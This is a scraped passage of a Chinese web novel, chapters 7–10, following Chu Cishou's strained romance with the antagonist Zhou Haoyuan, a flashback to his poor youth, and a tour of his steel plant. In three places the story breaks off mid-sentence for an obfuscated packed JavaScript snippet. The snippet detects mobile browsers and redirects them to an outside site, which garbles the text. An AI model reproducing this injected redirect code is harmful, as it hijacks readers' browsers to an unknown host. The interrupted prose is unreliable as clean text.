楚辞舟却不知那是危险的预警,他只是有一种直觉,似乎自己已经离真相不远了。 他鼓励道:“没关系,我知道这不是你的问题。你要是实在对我生气,不如直接说出来?” 世上唯一能消除隔阂的良药,是真诚。 唯有真诚,才能让两颗,不,是一颗,才能让一颗受损的真心得到修复。 这次不等周昊渊有所反应,楚辞舟便坦然道:“你放心,我已经和从前不同了。林晚晚不能干扰我,其他一切也无法再动摇我。今天之后,我不会再忘记自己所说的每一句话,你也不用总是这样压抑自己,哪怕就是你对我生气,也可以坦诚地说出来,我觉得,朋友之间应该更加……” 他身上的人格特质向来是蕴含着温柔和真诚的,让人听了很难不去相信他所说的一切。 楚辞舟刚说到这里,后面的“信任”两个字还没说完,忽然感觉眼前一暗。 一个脑袋飞快地凑了过来,挡住了眼前的路。 看不见路,楚辞舟的第一反应就是立即踩刹车。但第二反应很快告诉他,现在的情况,绝对不能猛踩。 能够够到自己嘴唇的话,这货肯定已经解开安全带了,九点的大学城,路上没什么车,他的时速已经飙升到八十码,踩下刹车的后果就是,大概率这人会直接干碎前挡玻璃,然后飞出去死在他车下。 于是在短短的几秒钟内,他做出了一整套堪称教科书级别的保命操作—— 松开油门,抓住对方的衣领,将其推回座椅。瞄后视镜,确定没有来车后靠边停下,然后才是迟来的错愕:“……你?这是干嘛?” “不压抑的话……就是这样,”冷清的黑眸中寥落尽褪,取而代之的是翻涌而起的谲诡风云,黑眸的主人隐忍地开口,“……你想这样吗?” 楚辞舟:“………………” 等等,突然有点反应不过来是怎么回事?刚才的情况,他是被亲了对吧? 反派,亲了男二?为什么? 是因为酒精吗? 车厢中安静得可怕,唯一的声音来自副驾上那人发出的粗喘声。 楚辞舟觉得有点吵,影响自己安静地思考,于是那声音便打开车门,消失了。 ---===回忆杀时间到===--- 于是,就这样,小少爷第一次如愿跟着楚辞舟回了家。 其实楚辞舟很少带人回家。 曾经他也是个老师眼中的好苗子,能考清北的那种。可惜后来爸妈误入歧途,瞒着他借了好大一笔钱去搞什么林地投资,最后当然是血本无归,想不通跳了天台,留下一大笔债务和天天拿着刀上门要钱的追债人,害得他不得不连夜从家里翻窗跑路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589334|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个学肯定是不能再去上了,好在隐姓埋名打点零工养活自己还是没问题。 800块钱工资虽然不多,但好在房子是老板夫妻提供的,他每个月不用出房租,只需要负担些水电费,好歹也相当于在这小县城里有了个“窝”,楚辞舟还是满足的。 估计现在很多人已经没见过筒子楼,就是那种家家户户共用一排连廊,厨房厕所也是公用的老式板房。 那时候楚辞舟就住在这种筒子楼里,离打工的夫妻小炒店大概两三公里距离。 其实这点距离,走一走也没什么,每天上下班跑一跑,还能当做锻炼身体。 但他之所以决定要买小电驴,还是因为夫妻店的营业时间太长,等他一个人刷完盘子,再锁上门,往往已经是深夜了。 回到家里,他通常就只剩下一个念头——倒头就睡,因此打开门的时候,毫不意外地,屋子里就是一整个发霉泡面+脏衣服+脏袜子的大合唱。 有些尴尬,楚辞舟不好意思地说了一句:“那什么,家里有点乱。” 小少爷背着书包,从他身后慢悠悠转进来,对着沉淀的空气皱了皱鼻子,点评道:“嗯。的确。” 楚辞舟:“……” 都这样了还嫌弃谁呢死孩子! 楚辞舟打开窗子通风,又在乱七八糟的抽屉里翻了翻,勉强找出瓶用剩的酒精,给自己脸上胳膊上的伤口都消了毒,然后招呼道:“喂,过来。” 熊孩子刚到新地方,正背着书包好奇地四处转悠,看到窗台上养得半死不活的两盆绿植,皱了皱鼻子。 听见楚辞舟叫他,回头看过来。 楚辞舟扬了扬手里的酒精,言简意赅:“过来,处理一下,小心感染。” 他如今其实也不过十七岁年纪,但往那儿一坐,手长腿长的,却能给人一种成熟+靠谱的感觉。 小少爷不信任地看了他一会儿,像是被他靠谱的气质说服了,自己脱了小上衣,把身上的青青紫紫都露出来。 他身上的伤有点多,尤其肚子和背上,青一块紫一块的,有些根本就不像是摔擦伤。楚辞舟皱了皱眉,什么也没问,只是把棉签按下去。 刚按下去,就听这小少爷嗷的一声:“啊……你!!!” 他神色狰狞地指着楚辞舟,嘶嘶地吸气,捧着伤口在原地疯狂地跳脚。 现在伤口处理的消毒用药,大多都是喷雾,不疼的,这小子用惯了好货,似乎觉得自己是故意整他,骗他来擦这种对伤口极为刺激的东西。可楚辞舟现在自己都穷完了,没钱给小少爷买那些贵东西。 他抬手,把东西抛在桌上:“就这点儿家当,爱擦不擦,不擦拉倒。” 说完,他起身打开冰箱,找到两个鸡蛋和几根五毛钱的劣质火腿肠:“我去做饭,你自己看着办。” 熊孩子:“……” 看他走了,熊孩子犹豫地拿起桌上的酒精。 筒子楼的灶台是直接摆在走廊的,家家户户都是如此。楚辞舟打燃了火,把昨天的剩饭舀出来,又拿起那俩鸡蛋,一个打散了下油锅,一个和米饭混合搅拌。 十分钟后,一阵诱人的香气从门外飘来。 彼时熊孩子还在和酒精奋战中,每擦一个伤口,都恨不得扔了棉签以头抢地一阵。 闻到这香味时,身上的伤口却是不疼了,反而早就被他抛在脑后的饥饿感逐渐具象化起来。 火很旺,楚辞舟正在借着火势颠勺,橙红色的火光将他的白衬衫衬得透明。衬衫下因为发力而绷紧的肌肉线条,雕塑一样,却比雕塑更鲜活有生命力。 即便是作为黄毛小子的熊孩子,也有那么一瞬间感受到了“力”与“美”这两个字。 无疑,这是一个优秀的男人。 敢于与犯罪分子做斗争,有勇气。能一脚踹翻那么重的摩托车,有能力。愿意为了不相干的人犯险,有品行。 他也想…… 成为这样的人。 8. 第 8 章 楚辞舟愣了很久,才从几乎一片空白的思维中缓过劲来,对四周的一切渐渐有了实感,但,速度极缓,以致于过了很久,他才发现副驾上的人不知道什么时候消失了。 车灯射出的光融在地上,和路灯一起融合出两团昏黄的光晕。楚辞舟摸了摸嘴唇,后知后觉地有些脸热。 大脑仄仄的,像被人塞进了一团乱麻,刚才用来踩刹车的那只脚也在座椅下后知后觉地抖个不停——楚辞舟也不知道这是生死危机后的吊桥效应,还是原主残留的意志对他起了影响,他感觉,心脏跳得有些抽痛。 或许是原主回应了他的疑问,脑海中有些许模糊的画面掠过。 画面的四周有些暗角,看起来像是一片黑蒙蒙的雨帘,以及雨里矗立的一座灯塔。 ——这地方他知道,是大结局里反派绑了女主的地方。 不过为什么原主留下的最后的画面会是这样一个地方? 楚辞舟百思不得其解。 按照时间线来说,这时候的男二应该已经死了,是不可能知道这样一个地方的。 心脏更痛了,一种濒死的感觉蔓延过来,视野更加狭窄了,好像马上要陷入黑暗一样。 楚辞舟趴在方向盘上,捂着心口大口大口地喘气,忍耐着这阵突如其来的抽痛,这时,手机屏幕突然大亮起来。 伴随着手机的震动声,抽痛的感觉突然停止了。 那种恐怖的濒死感也随之消失,甚至仿佛从来都不曾存在过。 楚辞舟满头大汗地回过神来,发现自己不知何时浑身都爬满了冷汗,竟如同在水里泡过一样,从里到外都汗透了。 指尖还有些发抖,手机却已经第二次震动了起来。 “……” 楚辞舟抹了抹脸,打开车窗给自己换气,与此同时,靠在按下接听键。 “什么事啊我好命的陛下?打工人刚才在加班开会,现在才抽到空看手机。”电话那边的声音颇为嘈杂,是艾达。 刚才吃饭的时候楚辞舟给她打过电话。 这姐就和一剂强心针似的,永远都那么有精神。 楚辞舟原本纷乱的心情也随着她的声音明媚了些:“哦,没什么大事。明早让司机早点来接我,开商务车,七座的。” 说完,他又换了副玩笑的口吻,揶揄她道:“都九点了还没下班?加班费可不能买命花。” “陛下放心,老臣知道。”艾达爽快回答,正要挂机,忽然反应过来,“哎?不是老板,你干嘛了?声音怎么这么哑?” 楚辞舟:“………………” 楚辞舟现在已经没事了,又不想把刚才的情况透露给其他人,清清嗓子,咳嗽两声,本想敷衍两句掩盖过去,忽然想到什么,又犹豫了。 他斟酌一阵,艰难开口道:“那个,艾达啊,你跟着老爷子应该也有好多年了吧。” “嗯,是啊,怎么了?”艾达道,“少主人想听什么八卦?” “……” 这可真是只万年的狐狸,一听话头就知道他想问什么。楚辞舟总不能说想听“自己”的八卦,字斟句酌地道:“那个,你觉得这些年,我跟周昊渊……关系怎么样?” “小周总?”艾达想了想,客观评价道,“你俩形影不离,焦不离孟,孟不离焦。” “……不是,”楚辞舟道,“我不是问这个。” 他思考了一下,隐去重要信息,尽可能地还原事实道:“我是说,如果有一天,你有一个非常非常好的朋友,和你告白了,还亲了你,你怎么想?” 艾达:“……” 艾达几乎是秒回:“当然是答应咯。” 楚辞舟:“?” 楚辞舟:“不是,你认真的?” 艾达不假思索:“那是自然!最好的朋友,至少摆明三个条件:一,家世相当;二,互相吸引;三,性格合拍。这不比那些半路夫妻强?” “再者,谋定而后动,既已按兵不动这么些年,突然主动,必然早已谋划好一切。既如此,挣扎也是徒劳,何不坦然面对?” 楚辞舟:“……” 艾达哼道:“怎么,小周总终于守得云开见月明了?” 这话信息量巨大,楚辞舟心头一跳,脱口道:“你早就知道?”说完又自觉失言,不由闭上了嘴。 艾达倒是毫不避讳:“明眼人都能看出来吧?他看你的眼神,什么心思,很难猜吗?” “………………”楚辞舟CPU烧了。 半晌,他憋出几个字:“很多人都知道吗?” “那倒没有。”艾达摊了摊手,“就我一个。可能……明眼人比较少吧?” 楚辞舟:“……” 这一通电话,虽不至于说是醍醐灌顶,但再混乱的思绪也差不多该厘清了。 楚辞舟深吸口气,看向空荡荡的副驾。 …… 下雨了。 今年华城的雨水极为丰沛,刚才还是月明星稀的夜空,这会儿已经下起了瓢泼大雨。 没怎么费力,楚辞舟便找到了人。对方其实根本没走远,就站在街角的雨幕里,手中夹着一支湿透的烟。看似笔直的背影,其实有些萧索。 楚辞舟庆幸自己的先见之明。 虽说雨帘密集,但只要撑花在手,举高些倒也不算费力。 “……跟我回去吗?”楚辞舟率先开口道。 伞面轰鸣的雨声将他的声音衬得单薄了几分,不似真实感。 周昊渊却是蓦地回头,本已萧瑟的眸中仿佛有勃勃的火种重新被点亮起来。他略显慌忙地丢掉了手里不知何时早已熄灭的烟,接过雨伞,冰凉的指尖碰到残留在伞柄上的一丝余温,不由得有些贪婪。 前有萧何月下追韩信,今有楚某人月下送雨伞…… 楚辞舟心知月下送伞此举着实暧昧,只怕是惹人误会,连忙亮出手中另一把伞,哗啦抖开:“周总且慢。我只是一时迷惑,不知该把周总当作管仲还是韩信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589335|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 管仲和韩信都是肱股之臣,栋梁之才,但这两个选项,没有一个让周昊渊喜欢。 他长睫微敛,淡漠黑眸看向楚辞舟,认真吐出四个字:“不如董贤。” “!” 楚辞舟开伞的手顿了顿,心里砰砰跳了两下。 这冰山,看着正经,说起骚话来倒是一点不含糊! 他用力扯了扯嘴角,快走两步打开雨伞,强笑道:“周总一表人才,也不知是多少姑娘的春闺梦里人,做董贤——岂不屈才?” 他的意思是姑娘才是正道,你我都是男人,还是应该保持适当距离,可身后这人却像是得了什么机柄,伞贴着伞紧跟着走上来:“哀帝自是更好,我只怕没有机会。” 要命了,他可真敢说啊! 楚辞舟脑瓜子嗡嗡的,一时也顾不上风度了,赶紧打断这颠覆三观的对话:“你明知我不是这个意思。” “……” 周昊渊没再说什么,收了伞和他上车。 这场雨倒是及时…… 本来他都已经要放弃了。 天要帮他。 二人乖乖回了家,各自在家门前分开,一宿无话。 第二天,小区门口,一辆商务车早早地就停在了那里。 车上坐了两个人,御姐艾达自不必说,还多了个难得被老板钦点,派上用场的快乐的司机。 远远瞧见两个人衣冠齐楚,并肩而来。 左侧的风神卓然,颜色冷俊,右侧的朗月清风,顾盼神飞。 好一对人中龙凤。 这司机来楚氏已经两年,平时甚少见到老板,今天一见,惊为天人,艾达却是见怪不怪,坐在副驾驶上哈欠不断:“早,老板,小周总。” 看她一脸的泪眼,楚辞舟笑道:“艾达,你老板我只是给了你钱,又不是买了你命,你没必要这么拼吧?” 艾达闻言停下哈欠,白他一眼:“食君之禄,担君之忧,老臣不过是持禄保位,以免有人诬我尸位素餐,拉我下马罢了。” 她倒是有理。楚辞舟只得道:“是是是,丞相高瞻远瞩,倒是我肤浅了。” 周昊渊听了,微微一笑。 旁人的话题,他平时其实极少参与,也很少感兴趣,只有和长辈见面时,才难得愿意奉上些笑脸。今天这一笑,楚辞舟心中一动,竟然有种拨云见日的感觉。 他本来还担心两人的关系会因为自己的处理不当而出现裂痕,进而影响到他之后的全盘计划,为此还担心了半宿。 结果谁能想到呢?一觉醒来,除了自己以外的两个人都是一副海清河晏、天下太平的模样,这让他感觉昨晚所发生的一切仿佛都只是一场水月镜花的荒唐幻觉。 不过,不管怎样,现在的局面都是楚辞舟乐意看见的。 楚辞舟松了口气,坐上车,心情明朗地直奔华工大。 昨晚发生的一切就像一场闹剧,在所有人不约而同的粉饰下,和平揭过了。 9. 第 9 章 今年的夏天雨德充沛,一大早,华城又下起了小雨。 华工大门口,马琳和陶小小撑着同一把伞出来,一边走一边说说笑笑。楚辞舟瞧见,放下车窗,冲她们招了招手。 “小楚哥!” 陶小小眼尖,远远地就看见了他,也冲他招起了手。 年轻人之间没那么多规矩,昨晚一起吃饭的时候,几个人坐下交杯换盏地一通瞎喊,就把关系喊亲热了。 而且对于这个称呼,楚辞舟并不讨厌,甚至有点熟悉,毕竟在现实世界里,好多包括叔叔婶子在内的邻居都乐意管他叫小楚哥。 嗯,不管怎么说,反正他觉得这比什么舟哥哥昊哥哥之类的好听多了。 ——“舟哥哥?” 正想着,一道熟悉的声音响了起来。 楚辞舟视线一转,就见一对俊男靓女打着伞手挽着手地走了过来。 男的肆意张扬,一身狂炫酷霸拽的气质,穿着一件黑T恤配高帮马丁靴,饰品戒指什么的丁零当啷挂了一堆;女的清丽脱俗,一看就是乖乖女的柔顺长发外加一条蓝色碎花长裙,小鸟依人般柔柔地依偎在对方怀里。 楚辞舟眼神微微一动:是哦,他都差点忘了,这里是大学城,女主也在这里读大学,明年才毕业。 眼看着女主拉着男主就要向他们这边而来,像是有什么事情想对他说,楚辞舟还没反应,另外一只手已经从另一侧伸了过来,指节一抬,碰地一声就把窗户给摇上去了。 楚辞舟:“?” 面对他询问的眼神,周昊渊从容淡定地抛出四个字:“专业不对口。” 楚辞舟:“……” 唔,好有道理的样子,他竟然无法反驳。 毕竟他今天要接的是材料专业的人才,而林晚晚却是文秘专业,的确不对口。 二人达成默契,坐在车上低调地一声不吭,可他们俩想要低调,却偏偏有别的人不让他们如愿。 有了上次的事情做铺垫,迟易轩原本是不乐意跟着林晚晚过来自讨没趣的,可这一记闭门羹吃下来,他却不干了。 迟易轩大步上前,敲了敲玻璃:“楚辞舟!” 一边敲还一边向里看:“楚辞舟你下来!别躲在里面不出声!是男人就下来和我说话!楚辞舟!” 作为男主,迟易轩的身体素质极强,力气绝对不小。 按他这种敲法,不是防弹玻璃估计还真经不住他几下,坐在前排的艾达都惊呆了:“不是,老板,你这又是从哪招惹了这么个神经病啊?” 楚辞舟也很无语:“不是我招惹的,是林晚晚招惹的,你没看出来现在林晚晚和他是一对儿吗?” 艾达理解得很快:“哦,所以这是现男友和前男友的巅峰对决?” 楚辞舟:“……” 虽然但是,仔细算算的话男二好像排不上“前男友”这三个字? 周昊渊哼了一声。 眼见他就要起身下车,楚辞舟连忙拦住:“别!他敲就让他敲好了!这种时候你下去还不得打起来啊哥哥?” “……”周昊渊冷沉的黑眸里微微带上了怔愣,“你叫我什么?” 楚辞舟:“…………” 不是,现在这情况,您的重点可以别那么特别吗? 现在的情况,前有反派胡搅蛮缠:“楚总不要抵赖,我明明都听见了。口癖也算。” 后有男主哐哐砸车:“楚辞舟我看见你了,别躲在里面不出来!” 再加上一个女主,举着把精致的小伞,小鹿一样的眼睛充满期待地看过来。 楚辞舟:“…………” 就在楚辞舟一个头两个大时,唯一的宝藏艾达优雅地打开了车门,笑眯眯地跳下副驾。 她长得美艳,身材丰满充满了成熟的女性魅力,一头丝缎般闪闪发亮的大波浪,再加一身逼近男性完美想象的职业装,一下车就成为了众多学生眼中的焦点。 迟易轩也注意到了她,停下了砸车的动作,林晚晚则是全身防备起来:“艾达姐……” 她平时其实都叫艾达,今天特意加上了“姐”这个字,主要还是因为感受到了威胁。 平时怎么没觉得舟哥哥身边的这个助理这么惹眼…… 她是今天才故意穿成这样的吗?还是说,她早就已经存了艳压自己的心思…… 想到这里,林晚晚心头猛地一跳—— 难道舟哥哥最近的变化都和她有关? 林晚晚始终不认为舟哥哥会平白无故地厌弃自己,除非,他身边有了新的女人…… 一想到竟然还存在着这种可能性,林晚晚的心里就更加不是滋味起来。 虽然她自认为自己真心喜欢的人是迟易轩,但舟哥哥也是她最喜欢的哥哥,她的家人!她怎么能忍受失去家人呢? 艾达也感觉到了她今天的敌意,微一挑眉:“林小姐。” 又看了看迟易轩:“林小姐今天和男朋友出来逛街?” 说到“男朋友”三个字,对面二人的都脸色不约而同地变了变。 迟易轩几不可查地皱了皱眉,林晚晚则是慌乱地看了一眼车里,原本还表现得亲密无间的小情侣,距离一下就拉远了不少。 艾达将他们之间的变化看在眼里,暗暗地啐了一口:一个拔d无情死渣男,一个既要又要死绿茶,这俩人简直天生一对,尊重、祝福、按头、锁死! 坐在车上的楚辞舟也察觉到了这中间的变化,心里有些惊讶,暗忖到:不应该啊? 按照原书剧情,男主这时候应该已经对女主有了不一样的感情才是……该不会是因为那天晚上的剧情没有发生,才导致了二人之间最关键的情感连接没有形成吧? 楚辞舟的视线游移在各有所思的二人之间。 原著里男二摔下去后,男主和女主有了共同的秘密:那就是要串供,让男主逃脱责任。 男二摔下去昏迷不醒的这段时间,男女主之间的感情突飞猛进,这当然也有男主需要利用女主说服男二的原因在。 否则以男二的实力,告他一个故意伤害,他怎么着也得进去做几年,说不定还会吸引到仇家的注意。 而现在没有了这一层利益关系在,男主对女主的诉求就没有那么迫切,女主感受不到男主的“需要”,自然也就没有那么泥足深陷。 如果真是这样的话……那可真是太…… 无所d谓了! 反正对他这个男二来说,男女主之间发展成什么样和他没有半毛钱相干,如果这两个人的情感连接非要建立在他的痛苦和牺牲上,那就让他们保持现在这样下去好了。 反正就算这两个人谈不成,左右也只不过是少了一本没什么营养的狗血小说而已,对现实世界的发展也根本不会有半毛钱损失。 …… 车开出去没有多久,楚辞舟就收到了林晚晚发来的信息。 【舟哥哥对不起!那天晚上的事是晚晚的问题,晚晚不好,晚晚不应该那样冤枉你,你生气也是应该的……晚晚现在知道错了,我们私下再见一面好不好?】 收到女主发来的这种类似示弱的求和信息,如果是原主的话,恐怕早就已经忘乎所以,飞快地推掉目前手头堆积的所有事情,计划起见面的事情去了。 但楚辞舟看完后却是毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589336|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波澜,直接面无表情地点进了女主头像,准备把人删了。 手指才移到详情页面,就感觉到左臂上仿佛传来一阵可怕的寒意。 原本还以为是司机把空调开得太低,楚辞舟刚想出声提醒,抬起头来却吓了一跳:只见一人冰窖似的,迁怒般散发着森冷的寒意,紧紧地盯着他的手机。 楚辞舟被他怨念的视线吓了一跳:“你干嘛?” 对上他的视线,对方鲨人似的眼神瞬间恢复清澈:“嗯?” 还装傻! 楚辞舟不知怎的竟觉得他有点可爱,虽然昨晚还被这个“可爱”的人强吻过,今天却已经被他自己全部都抛到了九霄云外。 这时,陶小小在后排小心翼翼地开口道:“小楚哥……” 楚辞舟这才想起后排还有三个小朋友,嗯了一声,转过头:“怎么了?” 他原本以为这帮小朋友叫他是要问林晚晚的事情,哪知人家犹豫了半天,开口道:“那个……才刚认识不久可能有些唐突,但我们还是想提醒一下小周哥,他是不是,可能,呃……” 陶小小支支吾吾了一阵,半晌也没把话说出口,好像接下来要说的话很难开口似的。 她支支吾吾了半天,最后反倒是马师姐着急了,先一步替她把话说出了口:“小小她们家是开中医馆的,她只是想问问小周哥,最近有没有关注过心脏方面的问题?” 原本和煦的神色散去,周昊渊黑眸蓦地一沉。 这种话题,陶小小也感觉自己特别失礼,连忙双手合十道:“对不起对不起!我不是有意冒犯,只是见小周哥你嘴唇有些发绀,就想着是不是应该提醒你一下,注意身体,不要熬夜……” “……” 这姑娘的观察力,楚辞舟都忍不住有些佩服。 的确,反派从小就心脏不好,否则也不会在大结局的关键时刻被女主利用这一点成功反杀。 只不过,这件事情没什么人知道,反派也从来不说,毕竟他从年纪很小的时候就需要开始独自支撑周家,是非常忌讳自己的这个弱点被人发现的。 如今正好碰上了陶小小这个过于热心还心直口快的姑娘,真是让人哭笑不得。 楚辞舟一听便知道不好,连忙阻止她继续说下去:“谢谢提醒,知道了。” 怕他生气,楚辞舟连忙看了一眼对方的脸色。 果然,眉心紧皱,指节发白。 是紧张的意思。 楚辞舟知道他要强,一时不由有些担心,伸手拍了拍他握紧的手背,小声安慰道:“没事的。小孩子,又不是圈里人。” 不是圈里人,就不会对他在周家的地位造成威胁。 周昊渊忽然回过头。 黑眸中像是有一团晦暗不明的火焰闪过。 “……” 楚辞舟被他看得心惊,一时不知究竟何意,待要再开口宽慰,又无从下手,反应过来时却已经被人捉住了指尖。 他们之间的小小波澜,恰巧被商务车的车座分隔开,除了他们二人,没有人知道发生了什么。 楚辞舟看他贯来清冷的黑眸染上了一丝浅浅的薄红,像是快要碎掉似的,好像只有这样捏住自己的手才能稍稍从中汲取到一些安慰,平静一些。 又思及他实在可怜,小小年纪就要学会承担,连生病了都不敢张扬,只把这一点点脆弱小心地在“心上人”面前剖开,到底是心软了。 想着想着,又有些替对方担心:男二毕竟是回不来了,总有一天他会知道自己的感情注定是没结果的,这一点,就算他再不想也总要面对…… 届时,也不知道该怎么办? 10. 第 10 章 楚氏的钢铁厂坐落在华城郊外,从大学城过去用了一个多小时的时间。 抵达的时候,几个大学生的眼球瞬间就被占地广阔的高耸“烟囱”和仿佛置身上世纪七八十年代的工业朋克风格给俘虏了。 “啊这个我知道,是高炉!”陶小小兴奋地指着其中一枚“烟囱”说道,“炼铁用的!” 对此,楚辞舟但笑不语,周昊渊视而不见,艾达假作不知。 只有较真的卢良栋无情地揭穿了她:“不,那是真的烟囱。” 说完,他指了指旁边高约百米、四周还安装了一些楼梯的另一枚筒式结构建筑:“那才是高炉。封闭的。” 于是接下来,两个人就究竟哪边是高炉这个议题而发生了争执。 马琳劝解道:“好了好了,你们俩安静点儿,生怕工人们不笑话你们没见识是吧。” “没见识”这三个字,要是换成女主,估计这会儿早就炸了,陶小小倒是一点儿不介意,笑道:“这有什么稀奇?人总会有知识盲区嘛!师姐你不是也分不清刚长出来的稻谷和杂草?” 好有道理。 虽说华工大材料科学与工程学院的研究生,无论放在哪个高端领域也都算得上是天之骄子,可只要是人,就会有知识盲区,在平日里涉及不到的领域,有不懂的东西很正常。 于是,楚辞舟便主动担负起了接下来给她们讲解的工作。 “我们厂主要分成几个车间:制氧、烧结、焦化、炼铁、炼钢、轧钢、动力、机修等等。”楚辞舟指着刚才卢良栋指过的筒式建筑道,“那个确实是高炉哈,卢同学加一分。” “陶小小同学扣一分,烟囱当高炉,误人子弟。”马琳笑着点了点陶小小的脑袋,陶小小吐吐舌头。 再往里走,便是厂区,楚辞舟指着各种设备给她们介绍:“那是烧结机,用来将矿石、焦炭、石灰石等原材料烧结成烧结矿用的,烧结矿是高炉的原料。” “那是球团机,用来将细小的矿石或者焦炭球化成小球团,小球团也是高炉炼铁的原料。” “噢噢!” 陶小小等人听得格外认真,这一趟真长见识。 几人来到下一个车间。 楚辞舟道:“刚才那边是炼铁,这边是炼钢的。你们看那个圆滚滚像水泥罐车一样的东西是转炉,采用氧气吹炼工艺将生铁吹化成钢水。” “那边是电弧炉,二次炼化废钢用的,脱硫、脱磷的效率很高。钢液在静止状态下脱硫需要一个小时才能完成,而搅拌钢液的方法后,只需要3-5分钟。” “2012年以后,我国提出华夏式特色经济的发展方式,越来越倾向于低碳、环保,因此废钢炼钢这种绿色冶炼方式必将受到足够的重视。” 这些年楚辞舟在现实世界虽然一直醉心研究,但对国家的政策学习也从未落下,一提起这些简直如数家珍。 “后面的是真空炉,生产高纯度钢以及不锈钢等精细钢材用的。” 几个人听得入神,不知不觉已经走了一个多小时。 陶小小道:“小楚哥……不对,我现在都不敢叫你小楚哥了。” 楚辞舟“哦?”了一声:“为啥?” 陶小小:“我感觉你懂得太多啦!不但懂理论知识,能看出来咱们的数据有问题,还懂这些,这些……” 她想了想,道:“反正就是感觉你挺厉害的样子,不能用‘小’这个字来称呼你啦!” 楚辞舟听了想笑:“那你准备叫我什么?总不能叫老楚哥吧。” 陶小小也笑:“我也不知道,那还是小楚哥吧。” 走到这里,已经差不多走完了半个厂区,楚辞舟道:“后面的加工车间就没必要看了,没什么重要的核心设备。我带你们去看看实验室的地皮吧。” 于是一行人便调头往厂区外走。 雨还在下,伞下的众人三三两两地聚在一起。 趁着艾达与马琳等人说话,楚辞舟慢了两步,特地等周昊渊打着伞走上来时悄声问他:“你怎么样?累不累?要不要稍微休息一下?” ……这可不是他没事干瞎操心。 实在是因为刚才那短暂的一点点时间,让他看到了一些从前一直忽略的东西。 他没想到反派这样的人居然也会有弱点和在意的事情,不由得在心里就对其多了几分爱护和怜惜。 谁知他明明是好心,周昊渊却像是突然被人捉住痛脚,整个人都神经紧绷起来。 直到现在他都还因为刚才的事情记恨着陶小小,为什么偏要让楚辞舟听到他有病的事!要知道,此前他最不希望得知这件事的人就是楚辞舟,如果会因此而被楚辞舟瞧不起的话—— 那他还不如死了算了! 但周昊渊一个人支撑多年,早就已经习惯了掩藏弱点。“脆弱”什么的根本就不是他的风格也绝不会再有第二次,因而此刻他所表现出来的就是将自己变成了一座散发着寒气的移动冰山:“累?楚总这是在看不起我吗?” 好心被当驴肝肺的楚辞舟:“……” 好好好,你厉害,你能撸三百斤铁行了吧! 楚辞舟没想到他这么忌讳被人看轻,那要强的样子,哪里还像个成熟的总裁,完全就跟个小孩儿似的,又臭又硬。 但他越是这样,楚辞舟就越发觉得他和周浩那个小屁孩是越来越像,也不知道小屁孩长到他这个年纪是不是也像这样? 嗯…应该不会吧? 这个的性格被养得太冷了,一天天的寒气扑面像要冻死个人,而自己养的那个…… 而自己养的那个…… 本来还想护崽的楚辞舟想来想去:算了,根本夸不出口! 那小子压根就是个完蛋玩意儿! 想想就来气! · 这顿饭吃得那叫一个沉默。 周浩当时在想什么,楚辞舟不知道,但楚辞舟还记得,自己当时是在盘算着该怎么把熊孩子送走。 不送派出所是不可能的,他总不能给别人养孩子,更何况还是个熊孩子,谁知道他哪天心情不好了会不会又发疯把家都给你偷出去。 这样想着,楚辞舟在公共水房洗碗的手就加快了几分,然而,他回来的时候,客厅里早已空无一人。 而他房间的门却紧锁着。 这个门是没有锁孔的,只能从里面用插销把门闩起来,看见此情此景,楚辞舟顿时就明白过来—— 妈的,他刚才还说什么来着?这死小子,这次是真·偷家了!!!!!! 楚辞舟凶神恶煞地敲门。 “周浩!你想干什么?把门打开!” 周浩彼时还属于孩童的稚嫩声音隔着门板传来:“我不要!我开了你就会赶我走!” Emmm……不得不说,他猜的很对。 楚辞舟有点理亏,但现实就摆在这里,他自己都还是个高中生,一个月就八百块钱,又怎么可能供得起人类幼崽这种吞金兽? 楚辞舟吸了口气,压低声音威胁道:“臭小子,我数到三,你别逼我动手。” 门板很薄,以楚辞舟那一脚就能把摩托车踹翻的武力值,周浩压根不需要犹豫,立马就认怂道:“等一下!……想让我开也不是不行!但你得答应一件事:不许再赶我走!” 出乎意料地,楚辞舟答应得很爽快:“行。我不赶你走,你开门。” 门上高一些的地方有个手指大的小洞,可能是木材上带的虫眼或者什么。周浩端了板凳,透过小洞往外观察,只能看见门外的白衬衫和一截白净的小臂。 “……” 虽然感觉有上当的风险,但这么拖着也不是办法。 周浩左右掂量一番,还是小心翼翼地开了门。 “臭小子!!!” 果然,外面的人是骗他的,他才打开一条门缝,就被外面那人用脚抵住了。 周浩冷不丁被他闯了进来,抓住了脖颈子,嗷一嗓子坐到地上:“啊啊啊啊楚辞舟你骗人!你说话不算话!你、你欺负小孩!” 楚辞舟:“……” 楚辞舟:“楚辞舟也是你叫的?” 周浩没话说了。 